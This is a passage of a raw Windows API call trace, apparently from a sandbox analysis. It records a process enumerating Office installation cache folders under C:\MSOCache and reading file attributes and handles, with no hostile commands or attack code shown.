ftLastWriteTime.dwLowDateTime=0xf6e0d4a0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x7c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0261.462] FindNextFileW (in: hFindFile=0x548f40, lpFindFileData=0x118f20c | out: lpFindFileData=0x118f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf6e0d4a0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x7c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0261.462] GetLastError () returned 0x12 [0261.462] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x9498b8) returned 1 [0261.462] FindClose (in: hFindFile=0x548f40 | out: hFindFile=0x548f40) returned 1 [0261.463] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x9499c0) returned 1 [0261.463] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x9497b0) returned 1 [0261.463] FindNextFileW (in: hFindFile=0x548fc0, lpFindFileData=0x118f4c4 | out: lpFindFileData=0x118f4c4*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xa5b30b20, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xa5bc90a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa5bc90a0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-00B4-0409-1000-0000000FF1CE}-C", cAlternateFileName="")) returned 1 [0261.463] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c"), fInfoLevelId=0x0, lpFileInformation=0x118f3c0 | out: lpFileInformation=0x118f3c0*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xa5b30b20, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xa5bc90a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa5bc90a0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0261.706] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x188 [0261.706] SetFileTime (hFile=0x188, lpCreationTime=0x0, lpLastAccessTime=0x118f404, lpLastWriteTime=0x118f404) returned 0 [0261.707] DeviceIoControl (in: hDevice=0x188, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x94b690, nOutBufferSize=0x4000, lpBytesReturned=0x118f45c, lpOverlapped=0x0 | out: lpOutBuffer=0x94b690, lpBytesReturned=0x118f45c, lpOverlapped=0x0) returned 0 [0261.707] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x94b690) returned 1 [0261.707] NtClose (Handle=0x188) returned 0x0 [0261.707] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x945060) returned 1 [0261.707] FindFirstFileExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\*", fInfoLevelId=0x1, lpFindFileData=0x118f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x118f20c) returned 0x548f40 [0261.891] FindNextFileW (in: hFindFile=0x548f40, lpFindFileData=0x118f20c | out: lpFindFileData=0x118f20c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xa5b30b20, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xa5bc90a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa5bc90a0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0261.891] FindNextFileW (in: hFindFile=0x548f40, lpFindFileData=0x118f20c | out: lpFindFileData=0x118f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x308ae9f0, ftCreationTime.dwHighDateTime=0x1cbe56c, ftLastAccessTime.dwLowDateTime=0x308ae9f0, ftLastAccessTime.dwHighDateTime=0x1cbe56c, ftLastWriteTime.dwLowDateTime=0xa5b55ce0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x265400, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProjectMUI.msi", cAlternateFileName="")) returned 1 [0261.891] FindNextFileW (in: hFindFile=0x548f40, lpFindFileData=0x118f20c | out: lpFindFileData=0x118f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x30a2b7b0, ftCreationTime.dwHighDateTime=0x1cbe56c, ftLastAccessTime.dwLowDateTime=0x30a2b7b0, ftLastAccessTime.dwHighDateTime=0x1cbe56c, ftLastWriteTime.dwLowDateTime=0xa5b2ebe0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x5ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProjectMUI.xml", cAlternateFileName="")) returned 1 [0261.891] FindNextFileW (in: hFindFile=0x548f40, lpFindFileData=0x118f20c | out: lpFindFileData=0x118f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x30306de0, ftCreationTime.dwHighDateTime=0x1cbe56c, ftLastAccessTime.dwLowDateTime=0x30306de0, ftLastAccessTime.dwHighDateTime=0x1cbe56c, ftLastWriteTime.dwLowDateTime=0xa5b7cde0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x7e1dcd, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProjLR.cab", cAlternateFileName="")) returned 1 [0261.891] FindNextFileW (in: hFindFile=0x548f40, lpFindFileData=0x118f20c | out: lpFindFileData=0x118f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x309dfcc0, ftCreationTime.dwHighDateTime=0x1cbe56c, ftLastAccessTime.dwLowDateTime=0x309dfcc0, ftLastAccessTime.dwHighDateTime=0x1cbe56c, ftLastWriteTime.dwLowDateTime=0xa5bc88d0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x750, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0261.891] FindNextFileW (in: hFindFile=0x548f40, lpFindFileData=0x118f20c | out: lpFindFileData=0x118f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x309dfcc0, ftCreationTime.dwHighDateTime=0x1cbe56c, ftLastAccessTime.dwLowDateTime=0x309dfcc0, ftLastAccessTime.dwHighDateTime=0x1cbe56c, ftLastWriteTime.dwLowDateTime=0xa5bc88d0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x750, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0261.891] GetLastError () returned 0x12 [0261.891] FindFirstFileExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\*", fInfoLevelId=0x1, lpFindFileData=0x118f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x118f20c) returned 0x549080 [0261.892] FindClose (in: hFindFile=0x548f40 | out: hFindFile=0x548f40) returned 1 [0261.892] FindNextFileW (in: hFindFile=0x549080, lpFindFileData=0x118f20c | out: lpFindFileData=0x118f20c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xa5b30b20, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xa5bc90a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa5bc90a0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0261.892] FindNextFileW (in: hFindFile=0x549080, lpFindFileData=0x118f20c | out: lpFindFileData=0x118f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x308ae9f0, ftCreationTime.dwHighDateTime=0x1cbe56c, ftLastAccessTime.dwLowDateTime=0x308ae9f0, ftLastAccessTime.dwHighDateTime=0x1cbe56c, ftLastWriteTime.dwLowDateTime=0xa5b55ce0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x265400, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProjectMUI.msi", cAlternateFileName="")) returned 1 [0261.892] FindNextFileW (in: hFindFile=0x549080, lpFindFileData=0x118f20c | out: lpFindFileData=0x118f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x30a2b7b0, ftCreationTime.dwHighDateTime=0x1cbe56c, ftLastAccessTime.dwLowDateTime=0x30a2b7b0, ftLastAccessTime.dwHighDateTime=0x1cbe56c, ftLastWriteTime.dwLowDateTime=0xa5b2ebe0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x5ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProjectMUI.xml", cAlternateFileName="")) returned 1 [0261.892] FindNextFileW (in: hFindFile=0x549080, lpFindFileData=0x118f20c | out: lpFindFileData=0x118f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x30306de0, ftCreationTime.dwHighDateTime=0x1cbe56c, ftLastAccessTime.dwLowDateTime=0x30306de0, ftLastAccessTime.dwHighDateTime=0x1cbe56c, ftLastWriteTime.dwLowDateTime=0xa5b7cde0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x7e1dcd, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProjLR.cab", cAlternateFileName="")) returned 1 [0261.892] FindNextFileW (in: hFindFile=0x549080, lpFindFileData=0x118f20c | out: lpFindFileData=0x118f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x309dfcc0, ftCreationTime.dwHighDateTime=0x1cbe56c, ftLastAccessTime.dwLowDateTime=0x309dfcc0, ftLastAccessTime.dwHighDateTime=0x1cbe56c, ftLastWriteTime.dwLowDateTime=0xa5bc88d0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x750, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0261.892] FindNextFileW (in: hFindFile=0x549080, lpFindFileData=0x118f20c | out: lpFindFileData=0x118f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x309dfcc0, ftCreationTime.dwHighDateTime=0x1cbe56c, ftLastAccessTime.dwLowDateTime=0x309dfcc0, ftLastAccessTime.dwHighDateTime=0x1cbe56c, ftLastWriteTime.dwLowDateTime=0xa5bc88d0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x750, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0261.892] GetLastError () returned 0x12 [0261.892] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x9499c0) returned 1 [0261.892] FindClose (in: hFindFile=0x549080 | out: hFindFile=0x549080) returned 1 [0261.893] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x9498b8) returned 1 [0261.893] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x9497b0) returned 1 [0261.893] FindNextFileW (in: hFindFile=0x548fc0, lpFindFileData=0x118f4c4 | out: lpFindFileData=0x118f4c4*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xee38cbf0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xee803530, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xee803530, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-00BA-0409-1000-0000000FF1CE}-C", cAlternateFileName="")) returned 1 [0261.893] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c"), fInfoLevelId=0x0, lpFileInformation=0x118f3c0 | out: lpFileInformation=0x118f3c0*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xee38cbf0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xee803530, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xee803530, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0262.165] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x190 [0262.165] SetFileTime (hFile=0x190, lpCreationTime=0x0, lpLastAccessTime=0x118f404, lpLastWriteTime=0x118f404) returned 0 [0262.165] DeviceIoControl (in: hDevice=0x190, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x94de90, nOutBufferSize=0x4000, lpBytesReturned=0x118f45c, lpOverlapped=0x0 | out: lpOutBuffer=0x94de90, lpBytesReturned=0x118f45c, lpOverlapped=0x0) returned 0 [0262.165] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x94de90) returned 1 [0262.165] NtClose (Handle=0x190) returned 0x0 [0262.166] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x945060) returned 1 [0262.166] FindFirstFileExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\*", fInfoLevelId=0x1, lpFindFileData=0x118f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x118f20c) returned 0x549080 [0262.538] FindNextFileW (in: hFindFile=0x549080, lpFindFileData=0x118f20c | out: lpFindFileData=0x118f20c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xee38cbf0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xee803530, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xee803530, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0262.538] FindNextFileW (in: hFindFile=0x549080, lpFindFileData=0x118f20c | out: lpFindFileData=0x118f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbd907a00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbd907a00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xee4bb7b0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x3e7e1f, dwReserved0=0x0, dwReserved1=0x0, cFileName="GrooveLR.cab", cAlternateFileName="")) returned 1 [0262.538] FindNextFileW (in: hFindFile=0x549080, lpFindFileData=0x118f20c | out: lpFindFileData=0x118f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbd907a00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbd907a00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xee3b15e0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x264400, dwReserved0=0x0, dwReserved1=0x0, cFileName="GrooveMUI.msi", cAlternateFileName="")) returned 1 [0262.538] FindNextFileW (in: hFindFile=0x549080, lpFindFileData=0x118f20c | out: lpFindFileData=0x118f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbec1a700, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbec1a700, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xee38cbf0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x391, dwReserved0=0x0, dwReserved1=0x0, cFileName="GrooveMUI.xml", cAlternateFileName="")) returned 1 [0262.538] FindNextFileW (in: hFindFile=0x549080, lpFindFileData=0x118f20c | out: lpFindFileData=0x118f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbec1a700, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbec1a700, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xee803530, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0262.538] FindNextFileW (in: hFindFile=0x549080, lpFindFileData=0x118f20c | out: lpFindFileData=0x118f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbec1a700, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbec1a700, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xee803530, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0262.538] GetLastError () returned 0x12 [0262.538] FindFirstFileExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\*", fInfoLevelId=0x1, lpFindFileData=0x118f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x118f20c) returned 0x548f40 [0262.539] FindClose (in: hFindFile=0x549080 | out: hFindFile=0x549080) returned 1 [0262.539] FindNextFileW (in: hFindFile=0x548f40, lpFindFileData=0x118f20c | out: lpFindFileData=0x118f20c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xee38cbf0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xee803530, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xee803530, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0262.539] FindNextFileW (in: hFindFile=0x548f40, lpFindFileData=0x118f20c | out: lpFindFileData=0x118f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbd907a00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbd907a00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xee4bb7b0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x3e7e1f, dwReserved0=0x0, dwReserved1=0x0, cFileName="GrooveLR.cab", cAlternateFileName="")) returned 1 [0262.539] FindNextFileW (in: hFindFile=0x548f40, lpFindFileData=0x118f20c | out: lpFindFileData=0x118f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbd907a00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbd907a00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xee3b15e0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x264400, dwReserved0=0x0, dwReserved1=0x0, cFileName="GrooveMUI.msi", cAlternateFileName="")) returned 1 [0262.539] FindNextFileW (in: hFindFile=0x548f40, lpFindFileData=0x118f20c | out: lpFindFileData=0x118f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbec1a700, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbec1a700, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xee38cbf0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x391, dwReserved0=0x0, dwReserved1=0x0, cFileName="GrooveMUI.xml", cAlternateFileName="")) returned 1 [0262.539] FindNextFileW (in: hFindFile=0x548f40, lpFindFileData=0x118f20c | out: lpFindFileData=0x118f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbec1a700, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbec1a700, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xee803530, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0262.539] FindNextFileW (in: hFindFile=0x548f40, lpFindFileData=0x118f20c | out: lpFindFileData=0x118f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbec1a700, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbec1a700, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xee803530, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0262.539] GetLastError () returned 0x12 [0262.539] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x9498b8) returned 1 [0262.539] FindClose (in: hFindFile=0x548f40 | out: hFindFile=0x548f40) returned 1 [0262.540] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x9499c0) returned 1 [0262.540] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x9497b0) returned 1 [0262.540] FindNextFileW (in: hFindFile=0x548fc0, lpFindFileData=0x118f4c4 | out: lpFindFileData=0x118f4c4*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe7b68970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe8729610, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8729610, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-0115-0409-1000-0000000FF1CE}-C", cAlternateFileName="")) returned 1 [0262.540] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c"), fInfoLevelId=0x0, lpFileInformation=0x118f3c0 | out: lpFileInformation=0x118f3c0*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe7b68970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe8729610, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8729610, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0262.540] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x188 [0262.541] SetFileTime (hFile=0x188, lpCreationTime=0x0, lpLastAccessTime=0x118f404, lpLastWriteTime=0x118f404) returned 0 [0262.541] DeviceIoControl (in: hDevice=0x188, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x94de90, nOutBufferSize=0x4000, lpBytesReturned=0x118f45c, lpOverlapped=0x0 | out: lpOutBuffer=0x94de90, lpBytesReturned=0x118f45c, lpOverlapped=0x0) returned 0 [0262.541] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x94de90) returned 1 [0262.541] NtClose (Handle=0x188) returned 0x0 [0262.541] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x945060) returned 1 [0262.541] FindFirstFileExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\*", fInfoLevelId=0x1, lpFindFileData=0x118f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x118f20c) returned 0x548f40 [0262.679] FindNextFileW (in: hFindFile=0x548f40, lpFindFileData=0x118f20c | out: lpFindFileData=0x118f20c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe7b68970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe8729610, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8729610, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0262.679] FindNextFileW (in: hFindFile=0x548f40, lpFindFileData=0x118f20c | out: lpFindFileData=0x118f20c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe8691090, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe8691090, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8691090, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0262.679] FindNextFileW (in: hFindFile=0x548f40, lpFindFileData=0x118f20c | out: lpFindFileData=0x118f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x11e8ef00, ftCreationTime.dwHighDateTime=0x1cacdea, ftLastAccessTime.dwLowDateTime=0x11e8ef00, ftLastAccessTime.dwHighDateTime=0x1cacdea, ftLastWriteTime.dwLowDateTime=0xe84c60d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x91975, dwReserved0=0x0, dwReserved1=0x0, cFileName="branding.xml", cAlternateFileName="")) returned 1 [0262.679] FindNextFileW (in: hFindFile=0x548f40, lpFindFileData=0x118f20c | out: lpFindFileData=0x118f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa26c9d00, ftCreationTime.dwHighDateTime=0x1cac9ae, ftLastAccessTime.dwLowDateTime=0xa26c9d00, ftLastAccessTime.dwHighDateTime=0x1cac9ae, ftLastWriteTime.dwLowDateTime=0xe85142d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xccb88, dwReserved0=0x0, dwReserved1=0x0, cFileName="DW20.EXE", cAlternateFileName="")) returned 1 [0262.679] FindNextFileW (in: hFindFile=0x548f40, lpFindFileData=0x118f20c | out: lpFindFileData=0x118f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xabf60500, ftCreationTime.dwHighDateTime=0x1cac9ae, ftLastAccessTime.dwLowDateTime=0xabf60500, ftLastAccessTime.dwHighDateTime=0x1cac9ae, ftLastWriteTime.dwLowDateTime=0xe85ab8b0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x80760, dwReserved0=0x0, dwReserved1=0x0, cFileName="dwdcw20.dll", cAlternateFileName="")) returned 1 